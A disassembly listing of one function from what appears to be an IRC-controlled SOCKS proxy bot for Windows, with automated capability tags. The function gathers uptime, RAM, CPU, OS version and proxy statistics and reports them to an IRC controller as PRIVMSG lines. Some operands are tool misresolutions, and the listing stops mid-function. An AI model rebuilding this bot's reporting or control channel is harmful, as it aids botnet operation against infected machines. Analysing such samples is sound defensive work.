Function at 0x140006530
Capabilities:
Check for time delay via gettickcount
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x8c0
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x8a0], rax
mov rbx, rcx
mov esi, r8d
mov rbp, rdx
lea rcx, [rsp + 0x201]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x200], 0
call fcn.140013cc0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [0x14002e10c]
mov edi, eax
cmp eax, ecx
jb 0x1400065a3
sub edi, ecx
mov eax, 0x10624dd3
mul edi
mov r13d, edx
shr r13d, 6
jmp 0x1400065c7
mov eax, 0x10624dd3
mul ecx
mov eax, 0x10624dd3
mov ecx, edx
mul edi
shr ecx, 6
mov r13d, edx
shr r13d, 6
sub r13d, ecx
add r13d, 0x418937
test r13d, r13d
mov edi, 1
cmove r13d, edi
xor r12d, r12d
mov dword [rsp + 0x58], r12d
mov eax, dword [0x14002e1b4]
lea r8d, [r13 + 0x34bc00]
xchg dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cmp eax, r8d
jle 0x140006616
cmp dword [0x14002dfe8], r12d
je 0x14000660e
mov edx, dword [rsp + 0x58]
lea rcx, str._d_____d_n
call fcn.14001347c
mov r13d, dword [rsp + 0x58]
mov r12d, edi
mov eax, 0xc22e4507
mov edi, r13d
mul r13d
mov r14d, edx
shr r14d, 0x10
mov eax, r14d
imul eax, eax, 0x15180
sub edi, eax
mov eax, 0x91a2b3c5
mov ecx, edi
mul edi
mov r15d, edx
mov eax, 0x91a2b3c5
shr r15d, 0xb
mul edi
shr edx, 0xb
mov eax, 0x88888889
imul edx, edx, 0xe10
sub ecx, edx
mul ecx
mov eax, edx
shr eax, 5
mov dword [rsp + 0x40], eax
mov eax, 0x91a2b3c5
mul edi
shr edx, 0xb
mov eax, 0x88888889
imul edx, edx, 0xe10
sub edi, edx
mul edi
shr edx, 5
imul edx, edx, 0x3c
sub edi, edx
test esi, esi
jne 0x1400066a3
lea rdx, str._r_nSocks_Server_Statistics:__r_n_r_n
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
jmp 0x1400066e2
lea r8, str.PRIVMSG__s_:Socks_Server_Statistics:__r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
test esi, esi
jne 0x140006779
test r12d, r12d
jne 0x14000672f
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x30], edi
lea r8, str.Socks_Server_UP_Time_____:__d_Days__d_Hours__d_Minutes__d_Seconds_r_n
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x200]
mov r9d, r14d
mov edx, 0x3ff
mov dword [rsp + 0x20], r15d
call fcn.140013ac4
jmp 0x14000675c
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x30], edi
lea r8, str.Socks_Server_UP_Time_____:__d_Days__d_Hours__d_Minutes__d_Seconds_Online_Long__r_n
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x200]
mov r9d, r14d
mov edx, 0x3ff
mov dword [rsp + 0x20], r15d
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
jmp 0x140006807
test r12d, r12d
jne 0x1400067b2
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x38], edi
lea r8, str.PRIVMSG__s_:Socks_Server_UP_Time________:__d_Days__d_Hours__d_Minutes__d_Seconds_r_n
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r14d
call fcn.140013ac4
jmp 0x1400067e4
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x38], edi
lea r8, str.PRIVMSG__s_:Socks_Server_UP_Time________:__d_Days__d_Hours__d_Minutes__d_Seconds_Online_Long__r_n
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r14d
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r9, [rsp + 0x7c]
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x7c], eax
call fcn.1400020b0
test eax, eax
jne 0x1400068ca
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, 0xc22e4507
mul edi
mov eax, 0x91a2b3c5
mov r12d, edx
shr r12d, 0x10
mov ecx, r12d
mov dword [rsp + 0x40], r12d
imul ecx, ecx, 0x15180
sub edi, ecx
mov ecx, edi
mul edi
mov eax, 0x91a2b3c5
mov r14d, edx
mul edi
mov eax, 0x88888889
shr edx, 0xb
shr r14d, 0xb
mov dword [rsp + 0x80], r14d
imul edx, edx, 0xe10
sub ecx, edx
mul ecx
mov eax, 0x91a2b3c5
mov r15d, edx
mul edi
mov eax, 0x88888889
shr edx, 0xb
shr r15d, 5
mov dword [rsp + 0x70], r15d
imul edx, edx, 0xe10
sub edi, edx
mul edi
shr edx, 5
imul edx, edx, 0x3c
sub edi, edx
mov dword [rsp + 0x7c], edi
jmp 0x1400068e0
mov r12d, dword [rsp + 0x40]
mov r14d, dword [rsp + 0x80]
mov r15d, dword [rsp + 0x70]
mov edi, dword [rsp + 0x7c]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
test esi, esi
jne 0x14000693d
mov dword [rsp + 0x30], edi
lea r8, str.The_System_UP_Time_______:__d_Days__d_Hours__d_Minutes__d_Seconds_r_n
lea rcx, [rsp + 0x200]
mov r9d, r12d
mov edx, 0x3ff
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r14d
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
jmp 0x14000698f
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], r15d
lea r8, str.PRIVMSG__s_:The_System_UP_Time__________:__d_Days__d_Hours__d_Minutes__d_Seconds_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r12d
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r14d, r14d
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x68], r14d
mov dword [rsp + 0x78], r14d
call fcn.140002b70
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
test esi, esi
jne 0x140006a04
mov eax, dword [rsp + 0x78]
mov r9d, dword [rsp + 0x68]
lea r8, str.System_Avariable_RAM_____:__d_MB____d_MB_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
mov dword [rsp + 0x20], eax
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
jmp 0x140006a53
mov eax, dword [rsp + 0x78]
lea r8, str.PRIVMSG__s_:System_Avariable_RAM________:__d_MB____d_MB_r_n
lea rcx, [rsp + 0x200]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x68]
mov r9, rbp
mov edx, 0x3ff
mov dword [rsp + 0x20], eax
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140003320
lea rcx, [rsp + 0x200]
mov r12d, WSAAsyncSelect
xor edx, edx
mov r8d, 0x400
mov edi, eax
sub r12d, eax
call fcn.140013cc0
cmp edi, 0x64
ja 0x140006ad2
test esi, esi
jne 0x140006aa7
lea r8, str.System_Avariable_CPU_____:__d_c_r_n
lea rcx, [rsp + 0x200]
mov r9d, r12d
mov edx, 0x3ff
mov dword [rsp + 0x20], 0x25
call fcn.140013ac4
jmp 0x140006aef
lea r8, str.PRIVMSG__s_:System_Avariable_CPU________:__d_c_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov dword [rsp + 0x28], 0x25
mov dword [rsp + 0x20], r12d
call fcn.140013ac4
jmp 0x140006b25
test esi, esi
jne 0x140006b09
lea r8, str.System_Avariable_CPU_____:_Un_Support_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
jmp 0x140006b48
lea r8, str.PRIVMSG__s_:System_Avariable_CPU________:_Un_Support_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], rax
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
test esi, esi
jne 0x140006bdc
mov r9d, dword [rsp + 0xc8]
lea r8, str.System_Total_CPU________:__u_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
jmp 0x140006c26
mov eax, dword [rsp + 0xc8]
lea r8, str.PRIVMSG__s_:System_Total_CPU___________:__u_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov dword [rsp + 0x20], eax
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
or rcx, 0xffffffffffffffff
xor eax, eax
lea r12, [0x14002e150]
mov rdi, r12
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x140006e0c
lea rdx, [rsp + 0x84]
mov rcx, r12
mov dword [rsp + 0x84], WSAAsyncSelect
call fcn.140002290
test eax, eax
je 0x140006df0
mov eax, dword [rsp + 0x84]
mov edi, r14d
mov r8d, r14d
test eax, eax
je 0x140006cbb
mov rdx, r12
mov rcx, r12
mov r9, rax
test r8d, r8d
jne 0x140006ca7
cmp byte [rcx], 0x20
je 0x140006cb2
mov r8d, 1
movzx eax, byte [rcx]
inc edi
inc rdx
mov byte [rdx - 1], al
inc rcx
sub r9, 1
jne 0x140006c97
mov eax, edi
lea rdx, [0x140023d74]
mov rcx, r12
mov byte [rax + r12], r14b
call fcn.140013420
test rax, rax
je 0x140006d91
lea eax, [rdi - 3]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x98]
mov byte [rax + r12], r14b
xor eax, eax
mov dword [rsp + 0x98], r14d
mov dword [rsp + 0x9c], eax
mov dword [rsp + 0xa0], eax
mov dword [rsp + 0xa4], eax
mov dword [rsp + 0x90], 4
call fcn.1400022d0
test eax, eax
je 0x140006e0c
lea rcx, [rsp + 0x681]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x680], r14b
call fcn.140013cc0
lea rcx, [rsp + 0x680]
mov r8d, 0x103
mov rdx, r12
call fcn.140013620
xor edx, edx
mov rcx, r12
lea r8d, [rdx + 0x64]
call fcn.140013cc0
mov edx, dword [rsp + 0x98]
lea r9, [rsp + 0x680]
mov dword [rsp + 0x20], edx
lea r8, str._s__dMHZ
mov rcx, r12
mov edx, WSAAsyncSelect
call fcn.140013ac4
jmp 0x140006e0c
lea rcx, [rsp + 0x791]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x790], r14b
call fcn.140013cc0
lea rcx, [rsp + 0x790]
mov r8d, 0x103
mov rdx, r12
call fcn.140013620
xor edx, edx
mov rcx, r12
lea r8d, [rdx + 0x64]
call fcn.140013cc0
lea r9, [rsp + 0x790]
lea r8, [0x14002278c]
mov edx, WSAAsyncSelect
mov rcx, r12
call fcn.140013ac4
jmp 0x140006e0c
call fcn.140002380
lea r8, str._dMHZ
mov edx, WSAAsyncSelect
mov r9d, eax
mov rcx, r12
call fcn.140013ac4
test esi, esi
jne 0x140006e46
lea r8, str.The_CPU_Speed____________:__s_r_n
lea rcx, [rsp + 0x200]
mov r9, r12
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
jmp 0x140006e8a
lea r8, str.PRIVMSG__s_:The_CPU_Speed_______________:__s_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov qword [rsp + 0x20], r12
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdi, str.Unknown_System
call fcn.140002550
cmp eax, 8
ja case.default.0x140006eae
lea rdx, [0x140000000]
cdqe
mov ecx, dword [rdx + rax*4 + 0x813c]
add rcx, rdx
jmp rcx
lea rdi, str.Windows_NT_4.0
jmp 0x140006f0d
lea rdi, str.Windows_2K
jmp 0x140006f0d
lea rdi, str.Windows_XP
jmp 0x140006f0d
lea rdi, str.Windows_2003
jmp 0x140006f0d
lea rdi, str.VISTA
jmp 0x140006f0d
lea rdi, str.Server_2008
jmp 0x140006f0d
lea rdi, str.Server_2008_R2
jmp 0x140006f0d
lea rdi, str.Windows_7
jmp 0x140006f0d
lea rdi, str.Windows_9X
jmp 0x140006f0d
lea rcx, str.UnKnown_System_n
call fcn.14001347c
test esi, esi
jne 0x140006f47
lea r8, str.Operation_System_________:__s_r_n
lea rcx, [rsp + 0x200]
mov r9, rdi
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
jmp 0x140006f8b
lea r8, str.PRIVMSG__s_:Operation_System____________:__s_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008111
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
movaps xmmword [rsp + 0x8b0], xmm6
call fcn.140013cc0
test esi, esi
jne 0x140006fc7
lea r8, str.Socks_Server_Ram_Usage___:_Not_Ready_To_Detect_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140006fe3
lea r8, str.PRIVMSG__s_:Socks_Server_Ram_Usage______:_Not_Ready_To_Detect_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
mov dword [rsp + 0x88], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [rsp + 0x88]
mov ecx, eax
call fcn.1400026b0
movss xmm6, dword [0x1400226a0]
test eax, eax
je 0x14000718d
mov ecx, dword [rsp + 0x88]
test ecx, 0xfff00000
jbe 0x1400070c5
test esi, esi
jne 0x140007074
pxor xmm2, xmm2
lea r8, [0x140023b68]
mov edx, 0x3ff
cvtsi2ss xmm2, rcx
lea rcx, [rsp + 0x200]
movaps xmm0, xmm2
mulss xmm2, xmm6
mulss xmm0, dword [0x140023b64]
unpcklps xmm2, xmm2
cvtps2pd xmm3, xmm2
unpcklps xmm0, xmm0
movq r9, xmm3
cvtps2pd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
call fcn.140013ac4
jmp 0x1400071d5
pxor xmm2, xmm2
lea r8, str.PRIVMSG__s_:Socks_Server_Ram_Usage______:__.1f_KB__About__.1f_MB__r_n
mov r9, rbp
cvtsi2ss xmm2, rcx
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
movaps xmm0, xmm2
mulss xmm2, xmm6
mulss xmm0, dword [0x140023b64]
unpcklps xmm2, xmm2
unpcklps xmm0, xmm0
cvtps2pd xmm1, xmm0
cvtps2pd xmm0, xmm2
movsd qword [rsp + 0x28], xmm1
movsd qword [rsp + 0x20], xmm0
call fcn.140013ac4
jmp 0x1400071d1
test ecx, 0xfffffc00
jbe 0x140007149
test esi, esi
jne 0x14000710b
pxor xmm0, xmm0
mov r9d, ecx
lea r8, str.Socks_Server_Ram_Usage___:__u_Bytes_About__.1f_KB__r_n
cvtsi2ss xmm0, rcx
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
mulss xmm0, xmm6
unpcklps xmm0, xmm0
cvtps2pd xmm0, xmm0
movsd qword [rsp + 0x20], xmm0
call fcn.140013ac4
jmp 0x1400071d5
pxor xmm0, xmm0
lea r8, str.PRIVMSG__s_:Socks_Server_Ram_Usage______:__u_Bytes_About__.1f_KB__r_n
mov r9, rbp
cvtsi2ss xmm0, rcx
mov edx, 0x3ff
mulss xmm0, xmm6
unpcklps xmm0, xmm0
cvtps2pd xmm0, xmm0
movsd qword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x200]
call fcn.140013ac4
jmp 0x1400071d1
test esi, esi
jne 0x14000716b
mov r9d, ecx
lea r8, str.Socks_Server_Ram_Usage___:__u_Bytes_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x1400071d5
mov dword [rsp + 0x20], ecx
lea r8, str.PRIVMSG__s_:Socks_Server_Ram_Usage______:__u_Bytes_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x1400071d1
cmp dword [0x14002e1e8], r14d
jne 0x1400071d1
test esi, esi
jne 0x1400071b5
lea r8, str.Socks_Server_Ram_Usage___:_Un_Support_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x1400071d5
lea r8, str.PRIVMSG__s_:Socks_Server_Ram_Usage___:_Un_Support_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
test esi, esi
jne 0x1400071ef
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x140007212
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x14002e108]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
mov dword [rsp + 0x60], r14d
xchg dword [rsp + 0x60], eax
call fcn.140013cc0
test esi, esi
jne 0x140007272
mov r9d, dword [rsp + 0x60]
lea r8, str.Socks_Server_Connections_:__d_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x1400072b9
mov eax, dword [rsp + 0x60]
lea r8, str.PRIVMSG__s_:Socks_Server_Connections____:__d_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov dword [rsp + 0x20], eax
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140002ff0
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
mov edi, eax
call fcn.140013cc0
test esi, esi
jne 0x14000730f
lea r8, str.Socks_Server_Total_Login_:__d_r_n
lea rcx, [rsp + 0x200]
mov r9d, edi
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x140007352
lea r8, str.PRIVMSG__s_:Socks_Server_Total_Login____:__d_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
mov dword [rsp + 0x20], edi
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x8c]
mov dword [rsp + 0x8c], r14d
mov dword [rsp + 0x6c], r14d
call fcn.140002040
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
call fcn.140002e40
mov r12d, dword [rsp + 0x8c]
mov edi, r12d
imul edi, edi, 0x130
add edi, eax
call fcn.140002e90
test esi, esi
jne 0x14000741e
pxor xmm0, xmm0
mov ecx, eax
pxor xmm1, xmm1
mov eax, edi
lea r8, str.Total_Allocated_Block____:__d____About__.2f_KB_r_nTotal_Activated_Block____:__d____About__.2f_KB_r_n
mov r9d, r12d
cvtsi2ss xmm0, rcx
cvtsi2ss xmm1, rax
mov eax, dword [rsp + 0x6c]
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
mulss xmm0, xmm6
mulss xmm1, xmm6
unpcklps xmm0, xmm0
unpcklps xmm1, xmm1
cvtps2pd xmm2, xmm0
cvtps2pd xmm0, xmm1
movsd qword [rsp + 0x30], xmm2
mov dword [rsp + 0x28], eax
movsd qword [rsp + 0x20], xmm0
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x1400074a0
pxor xmm0, xmm0
mov eax, eax
pxor xmm1, xmm1
lea r8, str.PRIVMSG__s_:Total_Allocated_Block_______:__d____About__.2f_KB_r_nTotal_Activated_Block____:__d____About__.2f_KB_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
cvtsi2ss xmm0, rax
mov eax, edi
mov edx, 0x3ff
cvtsi2ss xmm1, rax
mov eax, dword [rsp + 0x6c]
mulss xmm0, xmm6
unpcklps xmm0, xmm0
cvtps2pd xmm2, xmm0
movsd qword [rsp + 0x38], xmm2
mulss xmm1, xmm6
unpcklps xmm1, xmm1
mov dword [rsp + 0x30], eax
cvtps2pd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x4c], r14d
mov eax, dword [0x14002e1b8]
lea rcx, [rsp + 0x200]
xchg dword [rsp + 0x4c], eax
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
test esi, esi
jne 0x140007523
mov eax, dword [rsp + 0x4c]
mov r9d, dword [rsp + 0x4c]
lea r8, str.Max_Activated_Block______:__d____About__.2f_KB_r_n
movd xmm0, eax
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [0x140023820]
mulss xmm0, xmm6
unpcklps xmm0, xmm0
cvtps2pd xmm0, xmm0
movsd qword [rsp + 0x20], xmm0
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x14000758d
mov eax, dword [rsp + 0x4c]
lea r8, str.PRIVMSG__s_:Max_Activated_Block_________:__d____About__.2f_KB_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
movd xmm0, eax
mov eax, dword [rsp + 0x4c]
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [0x140023820]
mulss xmm0, xmm6
unpcklps xmm0, xmm0
cvtps2pd xmm0, xmm0
movsd qword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], eax
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x14002e1f4]
mov dword [rsp + 0x5c], r14d
mov dword [rsp + 0x64], r14d
xchg dword [rsp + 0x5c], eax
mov ecx, dword [0x14002e1f8]
xor edx, edx
xchg dword [rsp + 0x64], ecx
lea rcx, [rsp + 0x200]
mov r8d, 0x400
call fcn.140013cc0
test esi, esi
jne 0x140007604
mov eax, dword [rsp + 0x5c]
mov r9d, dword [rsp + 0x64]
lea r8, str.Total_Host_Resolve_Stat__:__d____d_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
mov dword [rsp + 0x20], eax
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x140007653
mov eax, dword [rsp + 0x5c]
lea r8, str.PRIVMSG__s_:Total_Host_Resolve_Stat_____:__d____d_r_n
lea rcx, [rsp + 0x200]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x64]
mov r9, rbp
mov edx, 0x3ff
mov dword [rsp + 0x20], eax
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
mov eax, dword [0x14002df60]
mov dword [rsp + 0x74], r14d
xchg dword [rsp + 0x74], eax
mov ecx, dword [rsp + 0x74]
cmp ecx, 1
jne 0x1400076c3
test esi, esi
jne 0x1400076a2
lea r8, str.Master_Status____________:_Authorized_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140007727
lea r8, str.PRIVMSG__s_:Master_Status_______________:_Authorized_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x14000775d
cmp qword [0x14002db40], 0xffffffffffffffff
je 0x14000770a
test esi, esi
jne 0x1400076ec
lea r8, str.Master_Status____________:_Connected_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140007727
lea r8, str.PRIVMSG__s_:Master_Status_______________:_Connected_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x14000775d
test esi, esi
jne 0x140007741
lea r8, str.Master_Status____________:_Disconnected_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x140007780
lea r8, str.PRIVMSG__s_:Master_Status_______________:_Disconnected_r_n
lea rcx, [rsp + 0x200]
mov r9, rbp
mov edx, 0x3ff
call fcn.140013ac4
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
cmp dword [0x14002dfc8], r14d
je 0x1400077dd
cmp dword [0x14002dfcc], r14d
je 0x1400077c2
lea r8, str.IRC_Bot_Status___________:_Running__Online_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x1400077f6
lea r8, str.IRC_Bot_Status___________:_Running_But_Offline_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x1400077f6
lea r8, str.IRC_Bot_Status___________:_Stopped_r_n
lea rcx, [rsp + 0x200]
mov edx, 0x3ff
call fcn.140013ac4
test esi, esi
jne 0x140007814
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
jmp 0x140007837
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.1400063e0
test eax, eax
je 0x140008109
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
xor edx, edx
lea rcx, [rsp + 0x181]
lea r8d, [rdx + 0x7f]
mov byte [rsp + 0x180], r14b
call fcn.140013cc0
xor edx, edx
lea rcx, [rsp + 0x101]
lea r8d, [rdx + 0x7f]
mov byte [rsp + 0x100], r14b
call fcn.140013cc0
mov eax, dword [0x14002e1c8]
mov dword [rsp + 0x50], r14d
mov dword [rsp + 0x48], r14d
